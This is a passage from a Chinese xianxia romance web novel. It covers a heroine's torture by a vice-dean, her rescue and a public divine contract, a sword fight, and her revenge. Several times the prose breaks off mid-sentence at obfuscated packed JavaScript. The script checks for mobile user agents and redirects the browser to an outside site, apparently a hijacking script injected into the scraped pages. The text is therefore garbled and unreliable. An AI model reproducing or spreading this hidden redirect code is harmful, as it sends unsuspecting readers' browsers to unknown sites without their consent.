谷不休有点暴躁:“我凭什么告诉你?” 阿玲:“那我去将君慕之叫回来。” 谷不休:“……” 谷不休:“江弥被人带走,院长发动教习和学生寻找她,你也别幸灾乐祸,有君慕之在江弥不会有事。” 谷不休以为她会难堪或者不高兴,但阿玲很平静,还点点头说:“我知道了。” 谷不休:“?” 你们这到底是怎么回事? · 江弥的情况不太好。 欧沽为了从她口中套出情报,意在折磨而非杀死,不致命也就没有触发君慕之的感知,江弥也不知道这限制力量的房间能不能让君慕之感知到。 “还不说吗?”欧沽居高临下看她。 江弥躺在地上无法动弹,重压让她四肢陷入地底,胸膛只有轻微起伏,眼皮无法支撑地闭上:“我说了你又不信。” 欧沽冷笑:“还嘴硬,我有的是办法让你开口!” 江弥实在是痛,她以为自己对痛楚的忍耐已经很强,但欧沽显然深谙怎么折磨人。 她咳出血水,虚弱道:“我本来还想再坚持一会儿,被你发现了也没办法。其实,我是君慕之的人,咳咳,他说,只要我遇到危险就会来救我,我觉得你还是把我放了好。” “满口胡言!”欧沽手指紧握,江弥瞬间说不出话,窒息感令她眼前只剩黑色,她的身体因痛楚不自觉抖动,欧沽见她快要撑不过去才松手,“我再问一遍,你背后之人是谁?你们的计划是什么?” 江弥大呼口气,牵动胸口痛楚,她缓了很久才能说话:“我……我听说四大家族只有乐正氏没有神,就想看看……书神和乐正氏有什么关系,我打算卖给姬氏,他们最好找,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116645|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实我想卖给君氏,听说他们最有钱,小术院都是他们的。” 江弥正儿八经说的他一个没信,她脾气上来胡说八道一通他却信了。 “无耻败类!你找死!” 欧沽想到即将诞生的书神被毁,顿时怒从心起。 手掌虚空下按,无形的力量挤压着江弥脖颈,愤怒让他不再收力,他看着江弥即将窒息而死,大骂的话刚要出口,下刻就被难以抵抗威势击倒在地。 犹如实质的压迫力让他骇然,他想要唤出元神与之抵抗,可刚凝聚就被挥散,他艰难抬首去看攻击的主人。 对方没看他,弯腰抱起地上女孩,长长的墨发扫中地面血污也不在意。 只一眼就让欧沽心生胆寒。 君慕之! 她竟真的是君慕之的人!! 这时院长教习们发现这边动静纷纷赶来,看到被压制的副院长和被君慕之抱在怀里的女孩,以及地面浓厚的血迹,一时不知该不该上前。 刘治鸿心中叹了声,主动站出来询问:“君少主,人找到了,先让医师看看?” 君慕之刚才给江弥塞了枚止血治愈的药,神情冰冷地盯着她脖颈上的青紫痕迹,探入她体内检查伤势的力量越发轻柔。 空气有种令人难以窒息的压迫感。 君慕之:“欧家人给我。” 刘治鸿神色为难:“欧家是乐正氏的人……” 君慕之:“让乐正氏找我。” 欧沽知道自己落在君慕之手里会有怎样的下场,惊怒大喊:“君慕之你怎么敢?!为了区区一个女修,惹怒乐正氏的代价你负担得起吗?君氏不是只有你一人,你能代表君氏和乐正氏为敌?” 君慕之用宽大衣袖盖住江弥大半个身体,抱着她转身面向众人,目光泛着冷意。 雪白衣襟染上红色,犹如红梅傲雪。 他的脸颊有一抹血迹,只有很亲昵的动作才会在那里沾上血。 那双清冷眼眸透出冰寒,话是对欧沽说的,但更像是在对所有人宣示—— “她不是区区女修,她是我君慕之认定的人。” 话刚落,君慕之的手背被划破,鲜血从伤口溢出,飘至半空凝聚成金色小字。 有教习猛地反应过来:“是神契!” 原本不敢看君慕之神色的教习们好奇望来,但字体散发的光模糊了字迹,他们看不出神契的内容。 欧沽嘶声挣扎:“君慕之你会后悔的!” 君慕之置之不理,低眉看向江弥,眼神还是冰的,神色却一点点柔和下来:“我等你带我去看星河。” 轻柔和缓的力量托起江弥沾血的手,凝聚神契内容的金字飘了下来,手即将按在神契上时江弥缩了下。 她想说话,可欧沽是冲着杀死她的力道掐脖子的,此时压根无法开口,君慕之答应签神契她是很开心,但问题是,她连神契内容都不知道,怎么签得下去! 可那股温柔的力量不容抗拒地托着她的手按上神契末端,血液和金字融合成金红色长线,连接了两个灵魂。 江弥只看到这线似乎比之前的要粗上不少。 她冲君慕之眨眼示意,希望他解释下神契的事,但君慕之只是说:“你现在需要休息。” 忍不住困意的江弥:“……” 你至少得让我知道我签的什么卖身契啊! 124. 124 “君少主说没去哪里,离开前说你醒了就告诉他。” “你现在不能说话,你的嗓子得修养两天。” “虽然我们平时很少见到副院长,但没想到他下手这么狠,咱们大术院不是禁止杀人吗?” “原来你就是江弥啊,你还骗我说你叫江小米。” “谣言果然不可信,你不知道君少主前一秒帮你理头发,一转身,空气都要结冰了,院长都擦了几次汗,不知道哪个缺德的造谣第三者插足,说你们感情不合。” 江弥没法说话,请缨前来照顾的楚雁便主动跟她说外面情况,有些她也不知道,就杂七杂八乱讲,说完回头,江弥黑漆漆的眼睛看着她听得很认真。 楚雁笑着拿湿布帮她擦手:“你好乖啊。” 江弥眨了下眼。 楚雁说:“你不知道贝贝要嫉妒死我了,哦,贝贝就是想看君少主长什么样子的女孩,她本来是想用看病的借口来巧遇君少主的,我跟她说君少主现在很生气,贝贝就没敢来。” 她忽然嘶了声,望向江弥的眼睛有点迟疑:“你会介意吗?” 江弥轻轻摇头,楚雁松了口气:“你一看就不是介意这种事的人。” 病房只有两人,楚雁帮江弥擦了下四肢后坐下来,担心她无聊,又说了不少大术院的趣事,也有些是她无聊的吐槽。 在絮絮叨叨的声音里,江弥感知很多伤口已经修复,压制的星辰之力此时在体内运转,加速伤势愈合。 说话声忽然停止,江弥轻轻侧头。 君慕之朝楚雁点点头,看着她出去才走到床边。 他的眉眼还笼罩着寒霜,眼眸有些冷,江弥第一次见他这种模样,睁着眼看了好半晌。 他身上的沾血衣衫已经换下,月白长衣将他衬得犹如仙人,俊冷出尘的面容更是拒人于千里之外。 江弥的手从被褥伸出,朝他抬了下。 君慕之垂眸望去,擦伤凝结的血痂覆盖了大片手背,青紫遮掩原本柔软白皙的皮肤,他因记忆里没有将另一双手弄得更惨而蹙眉。 江弥以为这是拒绝的意思,便收了回去。 君慕之这才抬眼去看她,弯腰掀起被褥一角探进去,准确无误地牵住她的手,动作很轻,虚拢着,只用四指触碰她的掌心。 江弥有点惊愕,君慕之还会做掀女孩被子这种事? 君慕之坐在床边,长长的头发落了地也不管,同她说着欧沽的情况:“人没死,等你好起来再处置。守墨台的事也不用担忧,刘治鸿能解决。” “刘治鸿是大术院院长。” 这句是担心她不知道刘治鸿是谁解释的。 他说得轻描淡写,江弥疑惑望他,似明白江弥疑惑,他道:“大术院也是四大家族创办,君氏占一半。” 之前好像是听过。 但她没将这个和君慕之联系起来。 江弥直到现在才有了切实的感受,她要追的人是个怎样的存在,那些形容君慕之的词语,天之骄子、家族最强者、最可能成神的神脉子嗣,全都化作成眼前这个矜贵清俊的男人。 而这个人,前不久还答应了她的表白。 忽然有种不真实的感觉。 君慕之不知她心中所想,继续道:“乐正氏善字,他们的神仓圣在众神之战前试图记录什么,但写下第一个字便陨落。因字的特殊性,仓圣陨落但它的力量还在,只是没有自我意识。” “长恩就是仓圣落下一字的神武,它还不配被称作书神,只是乐正氏企图通过这种方式创造字的意识,以此重新掌握字的力量。” 江弥听得有点疑惑,手指在他掌心画字:“乐正氏不是已经能掌握字的力量?” “君氏、姬氏和阴氏神脉能延续至今,是因为三族的神仍在,能让神脉一代代传承下来,”君慕之眼底浮现嘲冷,“乐正氏没了神,他们用尽办法将神血流传下来,掌握的也只是血脉传承的那部分力量。” 江弥似懂非懂,猜测乐正氏大概是没有神但是强行留住了部分神的力量。 江弥继续询问:“那长恩怎样了?” 她写得很慢,君慕之也很有耐心:“世间不会再允许神降临。” 这话…… 江弥觉得君慕之应该是知道些什么的。 她从死灵界出来时试探地提过异世者和混沌的关系,君慕之对此的态度意味不明,不是世人的那种仇恨憎恶,而是某种有深意的嘲讽。 包括此时,他的话听上去漫不经心,但略一思索便有迹可循。 比如小术院联赛中的山主,看上去是101神及时出现将其杀灭,却正是山主即将成神之时。 从欧沽的话里也能察觉长恩处于最为关键的时刻,正因为此他才如此气愤将一切毁坏的江弥。 长恩也是在快要成神的时候出现问题。 她有种预感,不再有新神可能和异世者的降临有关。 江弥在他手心询问:“为什么这样说?” 君慕之垂眸没有回答,只是抬手帮她将乱翘的头发整理平顺,碰到耳朵时看了下她,江弥歪头表示疑惑,但君慕之仍旧沉默不语。 是不能说还是不愿说? 江弥盯他片刻,只好问出另一个问题:“神契内容是什么?” 刚写完最后一个笔画手就被握住了。 江弥眨眼,什么意思? 她想抽出手写字询问,君慕之直接将五指插入指缝让她不能写,江弥有点愣,但没关系,她还有一只手,然而刚伸出被褥就被君慕之捏着不让动。 偏偏他还淡声道:“你身上有伤,别乱动。” 江弥:“……” 要不你直接说将我卖了多少钱吧,我不生气,真的! · 阿玲来到酒楼时苏与商已经点好酒菜,看到她到来抬手招了招,阿玲走过去坐下。 位子上放着一壶刚煮好的茶,苏与商跟前的是酒,她已经喝了两杯,阿玲刚倒好茶她就举着第三杯酒过来碰了下,然后整杯入喉。 “果然还是得有人一起喝。” 阿玲喝着茶水没发表意见。 这段时间她同苏与商经常出来吃饭聊天,其实更多的是苏与商主动找她。 苏与商身上完全没有苏家大小姐的娇贵,也没有常年身居高位的傲气,反而她早些年到处跑,天南地北都待过,阅历丰富,见多识广。 阿玲每次在她说如何同穷凶极恶的散修搏斗,如何辨识善恶交织的复杂人性时都听得很认真。 苏与商看她认真学习的模样笑了下:“人啊,是讲不完的。” 阿玲问:“那异世者呢?” 聊这个话题时她们坐在屋顶,头顶星空遍布,风带来夜的凉意和虫鸣,远处偶尔响起几声狗叫。 苏与商仰头喝完一壶酒,往后倒在瓦片上,漫天银河倒映在她眼底,许久她叹了声:“一群可怜人罢了。” 阿玲回头看了她眼,有点惊讶,但也不怎么意外。 开始她只是想打听天机进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144837|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度才接受苏与商的靠近,这日后多多少少有了点变化。 酒楼人声嘈杂,苏与商同她有一搭没一搭地说着话,她是个健谈的人,什么都会说点。 “……天一武会打了一手好牌,藏在各处的异世者现身前往帝都赶,修真界都在指望天诛院做出行动,”她摇头轻叹,“难呐!” 阿玲:“不是在研究天机?” 苏与商:“天机的主要研究是卢家负责,卢家比尚署还难搞定,遇到感兴趣的才能让他们投入热情燃烧自我,不感兴趣则看也不会看。” 阿玲捧着茶杯抿了口:“不是快研究出来了?” 苏与商:“所以才难搞定,因为中途对其他东西感兴趣暂停了,现在就尚署几个人瞎摸索。” 阿玲抬眼看了下,此时苏与商的酒壶空了,她正向小二要新酒,听到隔壁桌的几名散修高声阔论,说的是君少主怒发冲冠为红颜。 苏与商奇怪道:“最近是什么好日子吗?前有邵家结亲,今有君少主公然结契。” 阿玲猛地咳了下。 苏与商想起阿玲和君慕之的关系,手肘搭着桌面问她:“你不知道这事?” 阿玲给自己套上情场失意的人设,硬着头皮说:“听过,只是结契而已。” “君少主之前就和江弥结了神契,这也没什么,”苏与商戳破她的自欺欺人,“但这次不同,姬氏会在天地父母前缔结神契昭告天下,所以会将神契称作婚契,后来这种公然结神契的行为被神脉家族默认是婚契。当然也有例外,但当事人没解释就是默认。” 阿玲:“……” 哪有当事人都不知道内容的婚契? 阿玲:“听说当时情况特殊,也可能是没来得及解释。” 苏与商挑眉看她面不改色否认,换了个话题:“邵家议亲这个我倒是听过,说是和廖家刚认回去的女孩。” 阿玲一顿:“谁?” 苏与商以为她问的是男方:“邵家大公子邵平。” 孙柏柔和邵平?怎么可能? 滕宝死后孙柏柔不会被好感值影响,却也没给他们送出一星半点消息,这很不像孙柏柔的做法。 孙柏柔是不是出事了? 和苏与商告别走出酒楼时阿玲越想越觉得不对。 廖珮缨来东岐城明面上是寻找孙柏柔,背地里却是找乐正玲,孙柏柔回廖家后她又在某天忽然离开。 如果廖珮缨还在寻找乐正玲,这段时间阿玲在君慕之身边造成的动静足以让对方确认她就是乐正玲。 阿玲忽然站定,目光扫视四周。 这是回小术院的一条小道,两侧是山和树林,不远处是鳞次栉比的百姓居舍,不算偏,昏黄的霞光笼罩下一切都显得静谧宁和。 经常有外出学员或教习走这条路,今日却空无一人。 连虫鸣也也无。 藏在暗处的人发现她已察觉,直接从树影走出。 四名修士朝她走来,最前方是个文质彬彬的青年,身着水墨袍,走动时衣袍翻飞,有种飘然若仙之感。 穿水墨袍的人她见过一个。 青年的身后是三名十二阶修士,但她感知不出最前方的青年修为。 阿玲抽出雪麟:“欧家人?” 青年颔首:“欧家欧砚,奉乐正少主命令前来接玲小姐回家。” 阿玲:“我不愿意呢?” 三名修士瞬影而动,将阿玲包围起来。 欧砚道:“那只能得罪了。” 125. 125 欧砚话落的瞬间三名修士分别朝着阿玲冲来。 从君慕之那里阿玲了解真正到神力该如何使用。 四大神脉家族的神力附带各自的攻击属性,乐正氏的字攻击,姬氏的心神攻击。 而她的神力是回归本源不带其他属性的力量。 她可以使用古字的力量,也可用剑术,在君慕之的建议下,她将古字和剑招融合,修炼出她自己的神隐术。 阿玲率先挥动雪麟斩出一剑,无形涟漪散开,速影而来的符修被扩散的眩晕和震慑影响,身形猛地顿住,无法再往前。 左前方的剑修察觉此术,握剑的手一震,剑身震动发出的声音击穿涟漪,下秒身形一变,瞬影至阿玲身前,举起长剑的手朝着她劈砍而来。 暗术·束缚。 剑势落在眼里的动作轻缓,却丝毫无法躲避。 阿玲手腕沉重如铁,几乎连雪麟也无法握住,她暗中运转神力抵挡暗术·束缚,身上束力减缓的瞬间双手持剑横扫,空气中水汽凝聚成雪粒子。 剑修冲来时被雪粒子炸开,也将紧随而来星修攻击被阻拦在两寸外,无数冰碴在星光里化作幽蓝色尘埃,混杂在沉浮着星辰中。 展开星图的星修扫视,不见阿玲的身影。 他目光落在星图的运转变化上,察觉星辰变化异常,随即发现隐身的阿玲即将脱离星图,星辰之力飞速变化,数颗实星在各处落位。 阿玲看到欧砚时意识到这人深不可测,她意不在战,寻找机会化作“徐风”,然而某一瞬有种玄妙的力量一转而逝,原本打偏的剑势直冲她而来。 阿玲只得解开“徐风”,被迫显形。 这就是占星术中的扭转吉凶吗? 阿玲落地之时提剑斩去,半神品在此时的作用显现,普通一击被扩增十倍,将剑势击散,剑修又乘势追来,瞬息之间已过百招,刀剑相撞时火光四溅。 欧砚在一旁静观,冰雪、徐风、捕食、繁盛,数息之间已施展出四种古字,但他收集的信息里,乐正玲最高不过五阶,能“字”,却更擅长用剑。 看来有所隐藏。 这种可怕天赋,比乐正氏大部分子嗣都强。 可惜身为女子身。 欧砚在观察阿玲时,阿玲也在旋身闪躲时留意他,这人给她的感觉很危险。 不能等到他出手! 也在此时,符修已经突破负面影响,双手捏诀展开,炙热的火术瞬间增扩至方圆百里,雪粒子化作点点水汽蒸发,烈焰朝着阿玲扑面而来。 阿玲双手握了握雪麟,深吸口气,白紫色孤光自剑尖闪现并迅速变大,挥出沉重一剑的同时,电弧的炸响遍布整片空间,炙热的火术被雷鸣覆盖。 小道以及山林被如同白昼的闪电包裹。 阿玲在几人视觉被白光占据时化作“消融”欲离去,然而另一道无法忽视的威压令她无法隐身。 欧砚出手了。 他的身后浮现金光,巨大的金色身影凝聚成形,那是个额间点丹的金身童子,他低垂着笑脸轻轻点出一指,便掌管了天地间的气朝着阿玲杀去。 攻击阿玲的三人因这无上威压散去术势,他们不是主要攻击目标便已失去反抗,此时再去看阿玲,原以为她只能束手待毙,却见一道白光组成的剑身随着雪麟斩飞出,直面迎击僵神杀招。 天地行气同白色剑光相撞的一瞬,剑光化作无数光点吞噬而上,无形的攻击因光点而呈现出巨大的旋涡形状。 雪麟是山主之心打造而成,卢家打造这把半神品时听君慕之描述山主吞噬的能力,想尽办法保留这种特性。 山主面对君慕之的金色屏障都能吞噬殆尽,更何况眼前的僵神攻击。 “这是什么攻击?” 剑修刚问完就意识到自己的失态,闭口不言。 阿玲毫不迟疑再次斩出,这次的白色剑光朝巨大的虚影飞去,又在即将砍中时化作光点将其包裹在其中。 光点吞噬的神力化作新的光点进一步啃食元神。 见到僵神大半个身体被光点附着,失控的感觉浮上心头,欧砚觉出不妙,想要收回僵神时产生了巨大的阻力。 “把她……”欧砚回头,却见哪里还有阿玲的身影。 她趁着在场之人被光点震惊时用“字”跑了。 因剑势主人的消失,吞噬力量的光点也在消散。 欧砚收回僵神后负面状态随之回归,脸色陡然煞白,身体不同部位出现裂纹,三人见他垂下的手背出现犹如瓷器破碎的裂纹,心中不由大惊。 欧砚握了握拳,神力修复着身体裂口,他面色冷沉地朝着阿玲离去的方向道:“追。” · 山主的招式好用是好用,但消耗的神力太过庞大。 阿玲挥出第二剑已是极限,化作“清风”在林间穿梭没多久就因力量枯竭而显出身形。 欧砚几人还没追来,阿玲拄着雪麟飞速疾走,却因眼前出现的人而停下。 姬月生在林间光影中走来,步伐轻快,发上金冠熠熠生辉,荡漾笑意的浅淡眼眸看着阿玲抬剑指来的戒备模样问:“你还有力气?” 阿玲神色一凛,好一出黄雀在后! 姬月生丝毫不介意阿玲的冷眉怒目,歪头笑道:“我知道了,你不是从乐正氏跑出来的。” 阿玲心头悚然,要是猜出她异世者身份…… 却听他继续说:“我找我姑问过,她说乐正氏的女孩是被圈养的羊,要么懵懂无知,要么槁木死灰,但你哪个也不是,所以,你是流落在外的私生子。” 阿玲没时间和他纠缠:“你要做什么?” 姬月生不答,反而道:“你流落在外那必然不知乐正氏的女子是怎样的,所以我好心来给你科普一下。” “乐正氏呢,万年间为了延续血脉做了不少努力,他们的血脉流淌着字的力量,也被称作墨血。为了不让墨血随着乐正氏族人的死亡而散去,他们都是在族人还未死去时便取尽血液炼化,活活抽干人血呢!真可怕。” 他见阿玲神色漠然,笑弯的眼底浮现恶意:“更惨的是那些女孩,从出生起就不被允许学习,只留生存和繁育本能,像个只能配种的母体。” “你说,如果你回到乐正氏,迎接你的会是什么?” 姬月生想从阿玲脸上看到畏惧或者胆怯,但没有,她只是冷淡道:“说完了?如果你想说的只有这些,能让我走了吗?” 姬月生皱眉:“正常的英雄救美不该是这种反应。” 电石火光之间阿玲想通什么:“这是你做的?” 姬月生不太高兴道:“我原本是想让乐正氏的人将你从君慕之身边引走再出手的,谁知道君慕之抛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144838|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去找江弥,我只好临时改主意上演英雄救美。” 他朝阿玲走来,眨眼道:“君慕之不要你,但我不嫌弃你,你之前气我的事我也不介意,你跟我吧,我不会让你落入配种的下场,我肯定做得比君慕之好。” 阿玲:“如果我拒绝呢?” 姬月生此时已经走到她两步外,剑指胸口,他伸出食指轻轻按下剑身,见阿玲再无力抬起便笑道:“你看,你连剑都握不住,怎么拒绝我?” 阿玲沉默看他,收了剑:“你想做什么?” 姬月生仿佛早就想好般三两步走来,舒展在眉眼的笑靠近她,让人生不出恶意:“你有乾灵,我奈何不了你,也不准备杀你,你怕什么?” 阿玲就是看出他没有杀意才愿意同他沟通。 她问:“也不会强迫我?” 姬月生:“我姬月生从不做强迫人之事。” 阿玲冷眼看他,直接修改人意愿确实不存在强迫。 “他们来了。”姬月生指了个方向,笑着看她,“你选择什么?” 两息后,欧砚三人来到阿玲和君慕之停留的地方寻找无果,朝四个方向分头寻人。 · 躺在病床的江弥忍不住叹了口气。 君慕之抬眸望过来,她眨着眼转移话题:“我在想为什么表白的是阿玲,但你却跟江弥签神契,你果然不待见阿玲啊。” 她的声音还有点哑。 君慕之的回答是一杯温度刚好的花蜜水。 江弥捧着水杯咕噜喝完,将空水杯放他手上:“我好了,真的,可以出院了。” 这几天君慕之的变化有点大,江弥一时难以适应。 在大术院前君慕之对她的态度带着点疏离的自持,最主动的事是在病发时牵她的手,也不会随意插手她的决定,相处时十分有分寸感。 但近几日他的行为……也不是没分寸,就是,貌似主动很多,很自然地介入了她的行为和生活。 好比出院这事,她的伤口逐渐好全时皮肤浮现青紫,看着吓人但内里已经修复,她想出院被君慕之否决。 没法出院她只能坐在病床上研究占星术,被君慕之看到,于是禁锢了她的星辰之力,坐在病床旁守着她休息。 还有前来看望她的陈河,对方在长恩失控时帮过她,江弥想表达感谢,然后得知君慕之已经送给对方很多大术分和不少武器。 就,忽然有种君慕之将她当自己人的感觉。 对于江弥想要出院的诉求,君慕之伸出两指按在她腕间,轻柔的力量在她体内游走,整个过程不过几秒,结束后君慕之神色微敛,显然不是要放她出院的样子。 江弥:“……” 深吸口气,她将衣袖推上去示意他看自己手臂,又露出手掌正反两面,如果不是没法给他看身体,她都想脱了衣服向他证明。 也是很无奈:“我真的痊愈了。” 君慕之垂眼看她雪白胳膊上的青紫痕迹。 江弥自己拿手指戳了两下:“不痛,你试试。” 想她练体术时断胳膊断肋骨让医修续上继续练也不觉得有什么,没想到在君慕之眼里她还能娇贵成这个样子。 君慕之没有戳她胳膊,而是将她衣袖放下来:“那就去看欧沽,你想怎么处置都行。” 江弥没有异议,能出院就行。 126. 126 君慕之带江弥进入一间屋子,欧沽就在里面。 他靠坐在墙边,翩然的水墨袍被血黏在皮肤上,头发散乱搭着,察觉有人来,抬首看到君慕之的瞬间眼里又惧又恨,他咬牙道:“君慕之,你放过我,我不会同乐正氏禀报这事。” 欧沽从来没有这么狼狈过,乐正氏向来不露人前,在外欧家就代表乐正氏,没有人会得罪欧家,知道他身份的人哪一个不恭恭敬敬,他何曾受过这种侮辱。 可现在君氏作为和乐正氏并肩的神脉家族,竟用这种方式公然挑衅乐正氏,叫他如何能忍下这口气! 为今之计只能忍辱负重,他自认为不计较君慕之对他做的事已经是最大的让步。 “君氏虽然厉害,但乐正氏也不逞多让,君慕之,我劝你不要意气用事。” 君慕之对他的话置若罔闻,低眉看江弥,将欧沽的处置全然交给她。 江弥不喜欢杀人,但不代表会放过伤害她、想要她命的人,想了想她问:“会影响你吗?比如乐正氏和君氏之间的关系什么的?” 君慕之轻淡扫去一眼:“乐正氏不敢。” 江弥惊奇地看了他好几眼,这种淡定霸气的样子真的好令人意外。 她是个说到做到的人,说要追他要对他好就会贯彻到底。 江弥小指勾勾他手背,冷淡自若的人顿了下,侧眸望来,江弥认真说:“你刚才的样子很让人心动。” 说完她看君慕之,对方浅浅应了声,没其他反应。 江弥也不气馁,这才刚开始,以后时间还很长,她将目光重新转向欧沽。 但君慕之垂下的手虚空握了握,没忍住又看过去。 欧沽被君慕之轻慢的话气得不行,见到这幕又一脸见鬼的表情盯着他们,张嘴想说什么,在江弥走来时终于明白谁才是话事人。 “等等!你做什么?你想面对欧家的赶尽杀绝吗?” “我是大术院副院长,我能帮你升入大术院!” “啊——你是个什么东西敢这么对我!” 接下来的所有怒斥都被惨叫取代,房间设置阵法,任何声音都传不出去。 江弥面不改色地将所有加诸在她身上的伤害一一还了回去。 君慕之在外面等着,没多久江弥出来,看到他白衣黑发淡若静立的样子有片刻恍惚,心脏怦然。 这一刻,她感到了一丝轻快,那些压得她喘不过气的沉重似乎卸去几分,她觉得自己的灵魂都要飘起来了。 江弥眉眼舒展地走到他跟前,清冽好闻的气息盖过鼻尖若有似无的血腥气,她伸出手,君慕之垂眸,五指在他的注视下动了动表示催促。 君慕之眼眸含着淡淡笑意,伸手握了上去。 两人并肩走在大术院内,江弥说:“他死了。” 君慕之应了声。 阿玲暂时没有危险,她不打算让君慕之知道。 她签订神契的目的是在将来身份暴露时让自己生命多一重保障,不是让君慕之因她四处救急。 想了想,她说:“我要去廖家一趟,阿玲那边有事暂且不在,你要不要和我一起去拜访朋友?” 君慕之点头。 因为江弥养病的事,两人在大术院呆了四天,君慕之的体质不适合在人口密集处多待,于是当天江弥打听完廖家消息便启程。 离开前刘治鸿因欧沽的事向江弥赔罪,得知他们要去廖家,叫来陈河用灵坤船送他们前往百崃。 这艘灵坤船比小术院大一倍,堪比散盟会用来送货的灵坤船,她新奇地推开一扇扇门,内部空间维持得很好,几间明显是给教习休息的房间还有花卉做装饰。 廖家坐落在百崃,灵坤船最快也要两日,中间会途径几个大型城镇和一片海域,他们要在海上漂泊一日,于是在一个热闹的街市停留片刻,补充食物和水。 江弥买好干粮,想了想,君慕之不一定吃得惯,又去买了不少有名的点心。 途中听闻这里盛产云石,还跑去卖石头的店里逛了一圈,回灵坤船的路上看到有个排着长队的店。 她想起前世那种狭窄巷子里的百年老店,以为是卖什么东西,打算去瞧瞧,走近了才发现是天一武会的招人现场。 天一武会已经蔓延至北方了吗? 长队里是形色各异的修士,不一定有异世者,但大部分肯定是普通修士。 天一武会在用守望军的异世者和土著混杂模式。 江弥回到灵坤船时还在想,也是,全是异世者才是真正的麻烦,对天一武会而言,混杂的身份更有利于异世者掩藏,对皇室来说,只要武力值高就是赚了。 走到君慕之门前,她敲了两声推门而入,君慕之端坐在桌前看着她走来,江弥坐在他身旁,从随身玉牌里取出一颗石头放在桌上:“送你的礼物。” 君慕之低眉看去。 石头剔透光泽,上方的纯白部分雕刻着一只幼兽,圆墩墩的脑袋憨态可爱,下方是平滑的半球形,表面光滑细腻,有自然的山水纹理。 江弥说:“刚才停经的城镇有云石之乡的美称,那里的人喜欢玩石头。离开小术院时我说要给你带礼物,虽然出了点意外,但礼物还是要有的。” 说着抬起手指拨了下幼兽脑袋,石头左右摇晃起来,但怎么摇摆也不倒下。 “这是不倒翁,你无聊的时候就玩它。” 君慕之看着小东西摇摇晃晃,停下来时嗯了声。 江弥撑着下巴拨弄逐渐静止的石头,看它再次摇摆起来:“你喜欢的话,以后我会经常送你。听说这里盛产各种石头陶艺,有钱人喜欢收藏稀有石种,还会赌石。” 她侧头看他:“南边呢,吃的多,嗯,你好像不太吃外面的东西,我可以尝了告诉你什么味道。西边的话,那边日出和大漠风景很美,酒也烈,西边人少,有机会我们可以去看看。” 她觉得君慕之是孤独的。 很多次她推开君慕之的门,看到他始终一人端坐在桌前凝神延缓秽气蔓延,沉默而冰冷,没有热茶点心,也没有朋友亲人,世间的温暖喜乐离他很远。 从前她没想过要走进他心里,也就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这让她很意外,她才刚追人还什么都没做呢,而且之前她对君慕之也不怎么好。 但过程不重要,重要的是君慕之喜欢她。 君慕之仍旧没怎么说话,但眸中带着光彩,清俊面容还是淡淡的,却莫名让人觉得他在笑。 江弥心头微动,忽然很想拥抱他,记起自己第一次抱他时吓到,便开始动作预告:“我来抱你了。” 说着起身,张开双手弯身抱上去,她的脸颊贴着他脖颈,手指光明正大地在肖想很久的墨发间穿梭。 许久,君慕之僵直的身体一点点放松下来,垂下的手缓缓抬起,放在她腰间。 江弥忽然说:“我好像知道神契大概是什么了。” 君慕之手指一僵,江弥笑着说:“等你哪天想告诉我了再说。” 127. 127 灵坤船在百崃停下,廖家就在这里。 陈河看着两人离去的背影还有些纳闷,他们的关系好像和刚上船时不太一样,但具体是哪种不一样,他也说不出。 廖家是百崃当地大家,稍一打听就能得知不少消息。 十三修真世家中,大部分世家的传承是自家独创的剑法,如邵家、冷家、苏家,而谷家、欧家、严家则是依附神脉家族收服的元神修僵神一道,也有如卢家对造化一道修至巅峰造极的。 而廖家,则是在巫道传承上最为深厚悠久。 在上古时期,人类认为神灵无所不在,无所不能,他们从出生至死亡,一生都在信神拜神,也由此衍生出同神灵沟通的巫族。 后来众神陨灭,人间降下浩劫,是巫族从陨落的神残识中寻得方向,避开一场又一场灾难,在那场灭顶之灾中极大保存了人类火种。 此后数千年,人类掌握如何用气修炼,发展起来的家族如雨后春笋,而巫族因神的消失逐渐没落,经历数次灭族劫难,巫族后人分散各处寻求出路,百年时间让他们探索出自己的道——巫道。 那时的巫道包括医术、占卜、祈禳、蛊灵,发展最盛时受无数修士追捧,后来因蛊灵中的蛊毒恶灵太过阴狠残忍,数个家族因此灭族,巫族遭受其他家族驱赶打压,蛊灵变成禁术,巫族随之瓦解,但巫道却传承下来。 